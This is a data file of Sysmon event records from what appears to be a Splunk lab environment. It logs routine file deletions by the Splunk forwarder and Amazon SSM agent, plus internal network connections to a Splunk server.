354300x800000000000000014655Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:38.556{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50170-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014654Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:39.152{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A644CBF7B67A15A94CE10B085204A0E5,SHA256=8AA5282DE60E14EE6B3F0321D97E3EC14A16CFC4091CA078110C83811C15F507,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:40.217{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9FB0F985F86C28188BDB421E42F8F4B5,SHA256=4B2AA0975CCF302BA07FDA61805CFED6DCC58CE0CD7088DD788BDFA6F6DCD9CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014656Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:40.167{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6C4FD87799811D0B91FCED4E530E5D5,SHA256=BF44C466BCFD88CB37A688F0683E27851A4F260D0C6054E9C1D73FE0E2B350D9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014657Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:41.183{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=58E82AD5A1011BFEB39DFF9AEBFF4211,SHA256=C6A68311320EA88F1D1930D318D003A010CAB19AFCCA08AC3CD77314F05F9CA9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:41.232{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECEAEE3DAC415EB2ED0FDAAF08DD524A,SHA256=142891B3135F2BEFA73BF9835AF0FC7B7F9C3000082B52BDB07C04BA560A88BC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:40.516{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59350-false10.0.1.12-8000- 23542300x800000000000000046857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:42.248{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D779438185F0D83E527759A3A3E3F9D,SHA256=216F3E7EDEEB92EF652B2294C04D4AD9952BD5301D27C6C1757394FAEF93DA0A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014658Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:42.214{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=41969E4AFD10E92A410A92CC5363FA06,SHA256=250FA0420143CFAABEB6BEC75E0AA86059DAAA1D010A5BD78EB6C11655666BA7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:43.263{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=64CE0360F980F17E5644BB5771531CCF,SHA256=6B93FB403EC290A3D23D2D7FB475C405FE0EE54791876D9D54E58257B1C06FC3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014659Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:43.245{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3A5D3EEE540F9C3F5F25E859D50073F,SHA256=079D192714574F50B578DC4AA06F7BE9CC023DAB76F7FDD3EB74CC1365D11977,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:44.279{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC843B53745F566585115E9BE36E87E0,SHA256=054D30A528BA70DC81DA358D8819BDBE268767DA968D377F0A3E33F9F2D40CA2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014660Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:44.261{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=58EC4C8EC91A3073297A70F5053C60DE,SHA256=ADCD53539EDB5B2797F1E5BB52868C0F16EF8B000A6BF56450B113736096285C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:45.404{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B15402AD3029DB79D34512E7B83D8F3,SHA256=711BD93AC00DB54498415F5F575B3C98C85117CBFEA3A4925D40816CE28E7DD4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014662Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:44.509{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50171-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014661Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:45.292{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39ABE3FCF4B93EC8A11B7CE403D00874,SHA256=62F93A2D98B983276306BFA583D6A50117BAC167C9F19F694A7D204AC5FD60C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:46.451{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B15ED1D2D09291CB1569A7B288B4AE18,SHA256=C98CB4E04580B4252AA2C1EFC2B89DEB36181E323148370D710DD9F51EE79893,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014663Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:46.308{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFD796396DB2F4ED76BAEB2737C74B72,SHA256=77801E6F958AEB99AC93EF2CDC9364200CE1590A762F4311CC97EA3068C462E9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:47.452{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31AF02F0DA3F742D09DF00D2FDD8434B,SHA256=B1C8A6F831EB0F3BFC4D824B09B2C47210796AF665F458CFE5950C41218C03B5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014664Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:47.324{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA48A7DBDA13FC5F138045D5D126A5B8,SHA256=20C40F2B2065961CA8A1043C50E0081E03A4F7DFDB866F31760AD53C482113E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:48.577{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D66E49F10463E865A0F15CB5F930636,SHA256=4B014288CEB6D8BCA1D544E1832D87F7BC97BB51A9A7E0C5A4C600D78DBC7C1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014665Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:48.355{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A28091F3B9C8BB964EBF98BEB92D0D7A,SHA256=04595603BC22C0E679DC3ABD7E00A3AE2866B794B3B82143E70894C92BDFE5BA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:46.391{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59351-false10.0.1.12-8000- 23542300x800000000000000046865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:49.733{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3518D71F3B04A5E4C2BAE10A8E06F30D,SHA256=DB142DD8BD55B6BAB2D23A458585FAF64E98BA2AFC4AC0850FE5CB38E0FE4C42,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014666Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:49.386{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C96F15A661E6E2E04ABA7B507D94312,SHA256=9B7DC580FB0E5961FF1E2875FCA9CBE8E74D553552991A8113F9D7DA4B35A846,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:50.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=23A9071C705F83840B8FE4C72E5FA9B3,SHA256=8B20F6F29C079B59D8B700AA6BF91FAD808AB0616B50B2368339227985706173,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014667Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:50.417{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC2A75B2036326E402D6635D6883BFD6,SHA256=64A752867EF1A61203E35C5DC1AD7D45C7DF3FABABDB0194F954E2C7D0DB759E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:51.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7B5E81A909490EFB73B437551316CE2,SHA256=4EE6C835C3AD5BDA6F3DF40CE824296C73FCC136D2A30C7E6EBCD977B5166B24,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014669Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:50.494{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50172-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014668Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:51.445{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A31521E802CF472CC87B9175B22DFAB3,SHA256=C19588412B6236E8469505B3BC2CE9434A629DDAD8980E477AD8C44315103851,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:52.806{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=757A02D6E551EBECDE549778770F10B3,SHA256=E2732E4FFA0143E6578BD05D381AE6DA632FD54A6D7FE7E99A0450C04533607D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014670Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:52.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FB23C5A722E8C9D7B9E0A3DEF533BAB7,SHA256=78DFEF025FAE15AEE60F90F092C443E5FCD1E07D335B2155B58E737DA8618615,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:52.591{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-043MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:53.820{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C561F06D28E4DEB33F54F684DCBC4197,SHA256=5BFABF59AF4E0829D9E4EFE63ECA788B51E6AA85960742CEA61C450452F925CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014671Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:53.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BA4F7DCE73FEA1435630748D34E29AD,SHA256=1FAC0148FF7723D7D82A57E9F443E412F066599A65F989A9CE160314285CBB10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:53.589{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-044MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:54.823{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67F6518AC81DD7AF199AD27BC4809FF6,SHA256=C7D912618A84F419DEB246DF0F0AC97318AA861A30C989A28ABF6089C1D054EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014673Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:54.773{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014672Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:54.523{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=540195A13134BD399135FA6E8E9CABD7,SHA256=59A65D5D59082BBDD679E3FBB19EAC22EA2FCB1BB8A68FDD96FBC038903A7A83,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:51.402{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59352-false10.0.1.12-8000- 23542300x800000000000000046875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:55.839{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=81C1A996B2CBB61AC2345EAF195E6E89,SHA256=C3CD44BA1AFE8980E253B0033DF4407E9838BD43697075BDC95B81B396EB995E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014674Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:55.538{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88AD3CB2A1711F7E7AD974497B5EA76E,SHA256=357BDCAE5E05E904D1C3FC90D3F05393DC65478E7E775570431F6630E347AA83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:56.854{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8151AF5F6C202EE0742299664A5E7202,SHA256=A8DD5B01C410AB62F72CEAA548F58D0DEC54E62D70D5722DBDBFD15B4E2EFC21,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014676Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:56.554{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C937B216F2FBEA4FDC813EA462B7CF73,SHA256=AD7BE3E207A752D4D30AA755519CD4CEC961A9EA6F6082565B655813D26851D7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014675Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:55.083{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50173-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000046877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:57.901{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6AD4A4528532CF79C925CB93770D490,SHA256=56ECF369A6D0D85A49702CCA3959AF3125E6159AA1B8348631DFF55268853BDD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014678Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:57.777{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-034MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014677Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:57.570{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44DF93C02FC6AC9DCEE73998CC6E1C6D,SHA256=55FCD1A28D8B03A3BB2798D6F26B91D38A50391EED0CB2ED231AF6B868CC9A86,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014681Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:58.777{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-035MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014680Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:58.573{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=507B0DFC7667485A0B9B5E52E20D1BA8,SHA256=9EB41BD455C9C920EB938495E70E106C6E3B422A87E908A35EB52917C68762BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:58.917{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A53AF4138793BB992AC788F73987845,SHA256=5E4423DC23470EFC135BEB0AF89041292DE5210BCD7F630DBB5A093FD699A7FE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014679Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:56.380{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50174-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000046882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:59.932{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 